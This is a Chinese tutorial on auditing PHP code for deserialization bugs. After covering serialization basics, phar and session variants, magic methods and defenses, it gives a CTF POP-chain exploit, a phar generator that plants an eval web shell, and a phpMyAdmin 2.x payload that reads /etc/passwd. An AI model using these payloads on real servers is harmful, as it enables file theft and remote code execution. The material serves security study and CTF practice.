PHP代码审计12—反序列化漏洞

2023-11-02

一、PHP反序列化漏洞基础

1、序列化与反序列化

序列化与反序列化是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,于是就有了一种能长久保存对象的方法—— PHP 的序列化,这样当我们下次要用的时候只要反序列化一下就可以了。序列化的目的是方便数据的传输和存储,. json 是为了传递数据的方便性.。

1)序列化

概念: 把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

使用函数: serialize()

示例:

//示例代码
class people{
    public $name = 'sam';  
    private $sex = 'man';  
    protected $age = '20';
}
$people1 = new people();
$object = serialize($people);
print_r($object);
//输出结果:
O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}
//结果解析
O表示序列化的一个类,如果此位置是A表示序列化的一个数组
6表示类名长度
people表示类名
3表示类中的属性个数
s:4:"name";s:3:"sam";表示第一个键值对的键名为name长度为4,键值为sam长度为3,都是string类型,后面类似,都是两两为一个键值对

2)反序列化

概念:反序列化就是讲序列化的数据转换为数组或者类,是序列化的逆向操作

使用函数: unserialize( )

示例:

//POST输入:  ‘O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}’
$obj=$_POST[ser];
$class=unserialize($obd);
var_dump($calss);
//输出结果:
{ ["name"]=> string(3) "sam" ["sex":"people":private]=> string(3) "man" ["age":protected]=> string(2) "20" }
//结果说明:
对于序列化后的数据,private属性的对象会在前后加空格或者带上其所在的类名怎加一区分,对于protected属性需要加" * "来进行区分,而pubic属性的的对象则无需任何操作。

3)反序列化漏洞

原理: 当进行反序列化的时候这个字符串可控,并且又没有进行过滤,那么就可能存在反序列化漏洞。

通过上面的序列化和反序列化例子,我们可以知道:

  • 在反序列化的时候,如果这个字符串可控,我们就可以让它反序列化出代码中任意一个类对象,并且类对象的属性是可控的。
  • 同事如果类的方法被调用时(自动/手动)使用了自己成员属性的值,那么这个方法的执行结果我们就可控,所以就造成了反序列化漏洞的存在。

2、反序列化漏洞类型

常见的反序列化漏洞包含以下三种:

  • 原生反序列化

    即使用serialize()unserialize()导致的反序列化漏洞。
    
  • phar反序列化

    基本概念:phar反序列化即在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
    原理:
    phar文件的格式由四部分组成,分别是 stub、maniftaet、contents和signature四部分。
    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在maniftaet部分。这部分还会以序列化的形式存储用户自定义的meta-data,这就是phar反序列化漏洞的核心所在。
    利用条件:
     1、phar文件能够上传到服务器端
     2、有可以利用的魔术方法作为跳板
     3、文件操作参数可控即"/""phar"等特殊字符没有被过滤
    常见的引起phar反序列化的函数:
    file_exists(),file(),unlink(),is_file(),file_get_contents(),is_dir(),copy(),readfile(),fopen()等等。
    
  • Session反序列化

    PHP session反序列化漏洞,就是当【序列化存储Session数据】与【反序列化读取Session数据】的方式不同导致session反序列化漏洞的产生
    

3、常见的一些魔法函数

上面有提到自动调用的方法, PHP里叫做魔术方法,不光PHP有,其他的语言也有,比如在C++里有构造函数和析构函数,对应着PHP的__construct__destruct。除了这里写的魔术方法,PHP还有其他魔术方法,会在某些特定情况下被自动调用。如果我们在进行反序列化的时候,对应的类中存在能够自动调用的魔术方法,那么我们就可以去构造序列化数据,从而让其自动执行代码。对于PHP来说,常见的魔术方法如下:

  • 构造函数:__construct(): 对象被实例化的时候,也就是进行序列化的时候自动调用。
  • 析构函数:__destruct(): 对象被销毁前自动调用。
  • __set(key,value): 给类的私有属性赋值时自动调用。
  • __get($key): 获取类的私有属性时自动调用。
  • __isset($key): 外部使用isset()函数检测这个类的私有属性时,自动调用。
  • __unset($key): 外部使用unset()函数删除这个类的私有属性时,自动调用。
  • __clone: 当使用clone关键字,克隆对象时,自动调用。
  • __tostring(): 当使用echo等输出语句,直接打印对象时自动调用,例如上面那个代码中的echo $searialized其实就会调用这个魔术方法。
  • __sleep(): 把对象实例化成字符串的时候自动调用(上面的示例中有)
  • __wakeup(): 把字符串反序列化成对象时,会优先调用自动调用。

4、漏洞利用与防御

1)漏洞利用

低于反序列化漏洞来说,要进行利用,需要构造POP利用链,这是一个相对复杂的烧脑的问题,因为我们要深入的理解发序列化后的代码调用逻辑,然后反向推理构造。最后尝试执行系统命令或代码。具体的利用思路需要我们平时多练习多刷题,然后才能在实际情况中构造好的利用链进行利用。关于利用方法,可以参考文末的参考链接。

2)漏洞防御

对于PHP发序列化漏洞防御,主要考虑一下方法:

  • 签名与认证
如果序列化的内容没有用户可控参数,仅仅是服务端存储和应用,则可以通过签名认证,来避免应用接受黑客的异常输入。   
  • 限制序列化与反序列化的类
 增加一层序列化和反序列化接口类。这就相当于允许提供了一个白名单的过滤:只允许某些类可以被反序列化。只要你在反序列化的过程中,避免接受处理任何类型(包括类成员中的接口、泛型等),黑客其实很难控制应用反序列化过程中所使用的类,也就没有办法构造出调用链,自然也就很难利用反序列化漏洞了
  • RASP检测
(Runtime Application Self-Protection,实时程序自我保护)。RASP 通过 hook 等方式,在这些关键函数(例如:序列化,反序列化)的调用中,增加一道规则的检测。这个规则会判断应用是否执行了非应用本身的逻辑,能够在不修改代码的情况下对反序列化漏洞攻击实现拦截.

二、MRCTF2020-Ezpop 分析与利用

先看源码:

Welcome to index.php
<?php
//flag is in flag.php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);//这里的include函数,可以让我们来进行php伪协议,这里是第一个突破口。
    }
    public function __invoke(){//以调用函数的方式调用一个对象时触发此方法
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){//在一个对象被当作一个字符串使用时调用,当echo一个对象时会自动触发这个方法。
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//使用了黑名单过滤了一下http协议的东西,但是不影响咱们的php伪协议。
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;//get方法用来返回$function,然后$function的值是$this->p,这里将Modifier成为了函数
        return $function();
    }
}
if(isset($_GET['pop'])){//get方法传参pop,然后反序列化
    @unserialize($_GET['pop']);
}else{
    $a=new Show;
    highlight_file(__FILE__);
}

所以我们可以知道,漏洞点在include($value);,我们可以构造$value=php:// =php://filter/read=convert.base64-encode/resource=flag.php 来读取flag文件。

然后我们在传入一个POP参数的时候,会自动在进行反序列化是会需要先调用 Show类的_wakeup()魔术方法。 该方法简单了做了过滤,但是并不影响我们使用php伪协议。

如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。

如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。

利用文件包含,就能使用_invoke()读取flag.php的内容。

所以完整你POP链为:

Modifier::__invoke()<--Test::__get()<--Show::__toString()

构造exp:

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';  
}
class Show{
  public $source;
  public $str;
  public function __construct($file){
    $this->source = $file;
  }
  public function __toString(){
    return " ";//触发get()
  }
}
class Test{
  public $p;
}
$a= new Show('a');
$a->str = new Test(); //触发toString()
$a->str->p=new Modifier();//触发invoke()
$b=new Show($a);
echo serialize($b);
?>

得到序列化数据:

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:1:"a";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

然后通过POP传入,得到base64编码后的flag:

在这里插入图片描述

解码后的情况:

在这里插入图片描述

三、Phar反序列化例题分析

这是一个比较简单的例题,源码如下:

<?php 
if(isset($_GET['filename'])){
    $filename = $_GET['filename'];
    class MyClass{
        var $Output = 'echo "hahaha"';
        function __destruct(){
            // TODO: Implement __destruct() method.
            eval($this->Output);
        }
    }
    file_exists($filename);
}else{
    highlight_file(__FILE__);
}

可以看到,我们这里使用了 file_exists($filename)来判断传入的文件名是否存在,并且定义了一个Mycalss类,其中有可用的魔法函数 __destruct()。所以就导致了Phar反序列化漏洞的存在。

所以这里就需要构造Phar文件进行利用,构造思路如下:

定义一个Mycalss类,设置$Output为$_GET['cmd'],然后实例化这个类,写入phar文件的maniftaet 部分,然后上传文件,并访问?myClass.php?filename=poc.phar&cmd=phpinfo()

生成phar文件的代码如下:

<?php
class MyClass{
    var $output = '@eval($_GET[cmd]);';
}
$o = new MyClass();
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

生成的phar文件:

在这里插入图片描述

上传到服务端后,访问filename=phar://poc.phar&cmd=phpinfo();

在这里插入图片描述

四、PHPmyadmin 2.x 反序列化漏洞复现与分析

首先我们来看看payload:

POST /scripts/setup.php
.....
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

可以从Payload中看到,我们产生漏洞的类为PMA_Config类,漏洞参数为source。

我们进入该文件中看看:

if (isset($_POST['action'])) {
    $action = $_POST['action'];
} else {
    $action = '';
}
if (isset($_POST['configuration']) && $action != 'clear' ) {
    // Grab previous configuration, if it should not be cleared
    $configuration = unserialize($_POST['configuration']);
} else {
    // Start with empty configuration
    $configuration = array();
}

可以看到,在传入configuration,使用了unserialize()函数进行反序列化,所以我们就需要找到可以利用的魔法函数,在包含的文件的类中查找,发现在文件开头,创建了一个 PMA_Config()类的实例化对象,我们找到这个类看看:

//file: libraries/Config.class.php
class PMA_Config
{
    var $default_source = './libraries/config.default.php';
    var $settings = array();
    var $source = '';
    var $source_mtime = 0;
    var $error_config_file = false;
    var $error_config_default_file = false;
    var $error_pma_uri = false;
    var $default_server = array();
    var $done = false;
    function __construct($source = null){
        $this->settings = array();
        $this->load($source);
        $this->checkSystem();
        $this->checkIsHttps();
    }
    function checkSystem(){
   		......
   	}
  ......
	function __wakeup() {
        if ( $this->source_mtime !== filemtime($this->getSource())
          || $this->error_config_file || $this->error_config_default_file ) {
            $this->settings = array();
            $this->load($this->getSource());
            $this->checkSystem();
        }
        $this->checkIsHttps();
        $this->checkCollationConnection();
    }

可以看到,在这个类中,定义了魔法函数__construct__wakeup(),在进行反序列化的时候,就会进行调用__wakeup() 然后调用了getSource()和load()函数。我们先看getSource函数:

function getSource() {
        return $this->source;
    }

可以看到,就是将类中的source的值返回,然后使用load函数进行调用:

function load($source = null)
    {
        $this->loadDefaults();  //调用类中的loadDefault方法判断default_source文件是否存在
        if ( null !== $source ) {//如果source不为空,则调用setSource方法使用trim对source首尾去空。
            $this->setSource($source); 
        }
        if ( ! $this->checkConfigSource() ) {
            return false;
        }
        $cfg = array();
        $old_error_reporting = error_reporting(0);
        if ( function_exists('file_get_contents') ) {
            $eval_result =
                eval( '?>' . file_get_contents($this->getSource()) ); //调用getSource函数,然后对返回值使用file_get_contents打开,最终使用eval执行。
        } else {
            $eval_result =
                eval( '?>' . implode('\n', file($this->getSource())) );
        }
        error_reporting($old_error_reporting);
        if ( $eval_result === false ) {
            $this->error_config_file = true;
        } else  {
            $this->error_config_file = false;
            $this->source_mtime = filemtime($this->getSource());
        }
        if ( ! empty( $_COOKIE['pma_collation_connection'] ) ) {
            $this->set('collation_connection',
                strip_tags($_COOKIE['pma_collation_connection']) );
        } else {
            $this->set('collation_connection',
                $this->get('DefaultConnectionCollation') );
        }
        $this->checkCollationConnection();
        $this->settings = PMA_array_merge_recursive($this->settings, $cfg);
        return true;
    }

由于我们的序列化数据可控,所以我们可以修改定义source的内容,然后在进行反序列化的时候调用__wakeup() 函数,从而使用file_get_content()函数获取文件内容。

复现结果:

在这里插入图片描述

五、参考链接

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

PHP代码审计12—反序列化漏洞 的相关文章

  • 在 yii2 中搜索两个日期

    日期可以用不同的格式表示 表格本身看起来像这样 book varchar 250 NOT NULL date INT NOT NULL 现在我的问题是我无法在两个日期之间的范围内实现搜索 例如 有 5 本书 日期不同 但开始日期开始 在31
  • Disqus API 创建帖子错误

    我在使用 Disqus API 尝试对 tumblr 中发布的出版物发表评论时遇到问题 这是代码
  • 如何捕获 PHP 中的 cURL 错误

    我在用PHP curl功能 https php net manual en ref curl php将数据从我的本地计算机发布到网络服务器 我的代码如下 c curl init curl setopt c CURLOPT URL url c
  • Spreadsheet_Excel_Writer数据输出损坏

    我使用 Spreadsheet Excel Writer 生成 xls 文件 它工作正常 直到我必须处理大量数据 在某些阶段 它只是写入一些无意义的字符并停止填充某些列 然而 有些列直到最后都是字段 通常是数字数据 我不太确定xls文档是如
  • 如何在mySQL数据库中安全地插入代码

    我正在构建一个网站 用户可以使用 PHP 和 mySQL 数据库来存储代码片段 但我不知道如何安全地将用户输入的代码插入我的数据库 我无法使用我通常使用的 安全 功能来转换输入 trim stripslashes等 因为重点是您可以将代码视
  • mysql 扩展已弃用,并将在将来删除:使用 mysqli 或 PDO 代替 [重复]

    这个问题在这里已经有答案了 当我尝试从 PHP 连接到 MySQL 服务器时 我看到以下错误 已弃用 mysql 扩展已弃用 将来将被删除 在第 123 行的 path to filename php 中使用 mysqli 或 PDO 代替
  • PHP: Datetime::Diff 结果比较

    我试图比较两个日期之间的差异 但结果似乎非常错误 例如以下代码 datetime1 new DateTime 2009 10 11 datetime2 new DateTime 2009 10 13 interval datetime1 g
  • 使用PHP exec调用Node脚本并在finally方法之前将数据返回给PHP

    我有一个 PHP 脚本 它使用exec函数来执行 Node 脚本并将一些数据返回到同一 PHP 脚本 我的问题是我需要将数据返回给 PHP 而不必等待中的清理代码finally完成 我在下面编写了一些示例代码 向您展示代码的流程并说明我的问
  • PHP APC 潜在的缓存猛击避免了密钥

    我在尝试使用时收到此错误apc store 我用谷歌搜索了一下 发现这是APC定时炸弹错误并看到了一些建议添加的修复apc slam defense Off 到 php ini 我需要知道这是否是由于编程错误而发生的 如果是 如何修复它 这
  • PCRE 库版本太旧

    Bug Genie 3 需要 PCRE 库 8 0 或更高版本 你有 版本 7 8 2008 09 05 将您的系统更新到最新版本 你常用的来源 在我查看问题并尝试通过以下步骤更新我的 PCRE 库后 wget the latest sou
  • 重新排列关联数组的最优雅的方法是什么?

    假设你有一个关联数组 hash Fruit Apple hash Name Jeff hash Car Ford 并且您无法更改这些变量的创建顺序 因此 Car 总是在 Name 等之后添加到数组中 将 Car 添加 移动到关联数组的开头而
  • PHP/Apache 中的输出缓冲块如何工作?

    假设我将随机数据从 PHP 回显到浏览器 随机数据总量约为 XGb 回显以 YKb 块的形式完成 不使用 ob start PHP 和 Apache 缓冲区已满后 echo 调用是否会阻塞 客户端无法以与生成数据相同的速度使用数据 如果是
  • 我应该将 PHP include/require 语句放在 HTML 中的什么位置?

    我在文件中创建了一个 PHP 类 现在我想在 HTML 页面中使用它 我应该把它放在哪里require or includeHTML 页面内的声明 有没有表现在 HTML 的开头或结尾加载它之间的区别 还是根本没有区别 应该是在 PHP 脚
  • 我可以在 MySQL 中存储图像吗?

    这个问题在这里已经有答案了 可能的重复 MySQL 中的图像 https stackoverflow com questions 1665730 images in mysql 在 MySQL 中存储图像 https stackoverfl
  • PHPSpreadsheet 文本旋转到 90 不起作用

    我正在尝试使用文本旋转到 90 度来使单元格具有垂直文本 但它不起作用 所有文本都是水平显示的 也许我做错了什么 这是我的 php 代码 spreadsheet new Spreadsheet Create a new worksheet
  • 我被击败了 我只是想开发自己的画廊 但一开始我就失败了 在 a 中显示图像作为背景 div 我已经把我的代码颠倒了 搜索了网络 搜索了 stackoverflow 尽管我无法解决问题 这是我的代码 HTML PHP div class im
  • laravel 5 时间表适用于 ->cron('* */1 * * *') 但不适用于 ->hourly()

    我创建一个命令控制器 这是我的代码
  • 如何覆盖 Symfony2 包中的实体

    我在用着FOS用户包 for Symfony2 我需要能够注册一个用户不验证电子邮件是否唯一 我只需要一个有效的电子邮件 所以许多用户可以拥有相同的电子邮件 我知道这很奇怪 但我需要它 我在捆绑包中有一个实体 用户 扩展 FOSUserBu
  • Docker 应用程序更新后无法连接到数据库

    在我的公司 我有一个旧的 Symfony 应用程序在 Docker 容器中运行 该应用程序连接到一个 SQL 数据库 该数据库也在 Docker 容器内运行 该图像是使用 php 7 2 apache stretch 构建的 但该版本已不再
  • 上传文件最安全的方法是什么?

    我工作的公司最近在我们托管的网站上遭受了许多标头注入和文件上传漏洞攻击 虽然我们已经解决了标头注入攻击的问题 但我们尚未控制上传漏洞 我正在尝试设置一系列即插即用类型的上传脚本以供内部使用 设计人员可以将其复制到其网站的结构中 修改一些变量

随机推荐

  • IDEA如何导出导入配置文件

    导出配置 打开工具 找到 file gt export setting 选择路径即可 导出的是setting jar文件 导入配置 file gt import setttings gt 选则jar文件 gt 一路确认 gt 重启
  • 多线程常见面试题

    常见的锁策略 这里讨论的锁策略 不仅仅局限于 Java 乐观锁 vs 悲观锁 锁冲突 两个线程尝试获取一把锁 一个线程能获取成功 另一个线程阻塞等待 乐观锁 预该场景中 不太会出现锁冲突的情况 后续做的工作会更少 悲观锁 预测该场景 非常容
  • 优雅的代码命名规范,代码如诗

    优雅的代码命名规范 管理类命名 传播类命名 回调类命名 监控类命名 内存管理类命名 过滤检测类命名 结构类命名 常见设计模式命名 解析类命名 网络类命名 CRUD命名 其他 END 日常编码中 代码的命名是个大的学问 能快速的看懂开源软件的
  • canvas详解05-变形

    几何变换 canvas现在被大量地运用于游戏等动画领域 最主要的归功于它提供的一系列几何变换方法 使得动画更加地容易 所以其几何变换是非常重要的一节 在本教程前面的部分中 我们已经了解了 Canvas 网格和坐标空间 到目前为止 我们只是根
  • 解决:The Apache Tomcat Native library which allows optimal performance in production environments was

    在启动Tomcat 6 0时发现第一条信息便是 The Apache Tomcat Native library which allows optimal performance in production environments was
  • 用C++编写一个猜数字游戏

    系统随机生成一个1到100之间的数字 玩家进行猜测 如果猜错 提示玩家数字过大或过小 如果猜对恭喜玩家胜利 并且推出游戏 include
  • RocketMQ rocketmq_client.log日志文件配置

    1 默认路径 项目添加RocketMQ以后启动项目时会在user home下创建一个rocketmq client log日志文件 文件全路径是 user home logs rocketmqlogs rocketmq client log
  • 日语动词变形(概念明确篇)

    首先 日语中的动词我们可以这样看 这是几种不同的分法 相互之间没有关联 A 一段动词 五段动词 変动词 変动词 B 自动词 他动词 按照属性来区分 C 意志动词 非意志动词 只包含部分日语动词 在动词变形上 我们只涉及第一种分法 其他两种这
  • UE4 开房 多人在线动作游戏------学习笔记

    先创建好UI界面 这个UI是用来创建房间 查找房间 进入房间和退出的 这个UI是用来显示搜索出来的房间 然后点击进入房间的 用了监听 别人才能搜索到服务器 点击开始搜索 显示搜索图标 开始对查找Listen的关卡 查找成功生成ServerB
  • 本地笔记软件_笔记软件obsidian重大更新

    obsidian是一个笔记软件 之前写了篇obsidian的介绍 https zhuanlan zhihu com p 212204160 zhuanlan zhihu com 这次obsidian发布了0 91版本 真正变得实用了 首先说
  • springmvc

    1 SpringMVC简介 1 1 什么是MVC MVC是一种软件架构的思想 将软件按照模型 视图 控制器来划分 M Model 模型层 指工程中的JavaBean 作用是处理数据 JavaBean分为两类 一类称为实体类Bean 专门存储
  • Camunda流程引擎笔记(四):Send Task,Receive Task

    流程引擎中 Send Task和 Service Task拥有相同的行为 都是通过回调Java代码完成相应逻辑 通常 Send Task和 Receive Task配合使用 一 Send Task 绘制一个Send Task流程 配置过程和
  • 网页服务器请求响应,网页的请求响应,你们所看到的网页跳转长这样子

    Servlet的认识在上一篇文章有介绍过 如有不同看法或者其他理解的话可以下方留言给我 我肯定虚心学习 说一说Servlet 网友说 有点料 我们生活在这一个互联网时代 每天都点击数据 交互数据 响应数据和请求数据 以上几个技术点 你能想到
  • nodejs使用websocket

    一 websocket简介 首先要知道什么是几个常用的互联网传输协议 http https tcp udp 1 http 超文本传输协议 HyperText Transfer Protocol 是一种无状态协议 就是说客户端发送一次请求 服
  • linux centos7配置网卡信息

    1 配置网卡 查看网卡信息 ifconfig 这里看到的网卡名是 ens33 ip 名称是 172 16 28 31 准备改成 172 16 28 226 2 进入 配置文件目录 cd etc sysconfig network scrip
  • CISP 相关知识点梳理

    第一章 1 1 信息安全保障基础 v信息安全视角 了解国家视角对信息安全关注点 网络战 关键基础设施保护 法律建设与标准化 相关概念 了解企业视角对信息安全关注点 业务连续性管理 资产保护 合规性 相关概念 了解个人视角对信息安全关注点 隐
  • 心音信号特征提取Matlab系统

    心音信号特征提取Matlab系统 心脏疾病是一种常见的疾病 如果能够通过自己开发的程序来对心音信号进行分析 检测就更加方便快捷了 本文章将介绍如何使用 Matlab 提取心音信号的频域特征值 包括频谱 能量谱 功率谱和倒频谱等 同时 将通过
  • 10个免费的web压力测试工具

    转自 http apps hi baidu com share detail 53794908 当一套程序写完或者一台服务器配置完成后 相必很多朋友会像我一样 非常想知道它到底能够承受多大的负载压力 那在本文中 就给大家介绍十个免费的可以用
  • Ubuntu安装*.deb程序,用gdebi

    Ubuntu 安装 deb程序的时候 用安装源 gdebi 命令 sudo gdebi deb 如果 Ubuntu 没有安装gdebi的 shell term 运行命令 sudo apt get install gdebi
  • PHP代码审计12—反序列化漏洞

    文章目录 一 PHP反序列化漏洞基础 1 序列化与反序列化 2 反序列化漏洞类型 3 常见的一些魔法函数 4 漏洞利用与防御 二 MRCTF2020 Ezpop 分析与利用 三 Phar反序列化例题分析 四 PHPmyadmin 2 x 反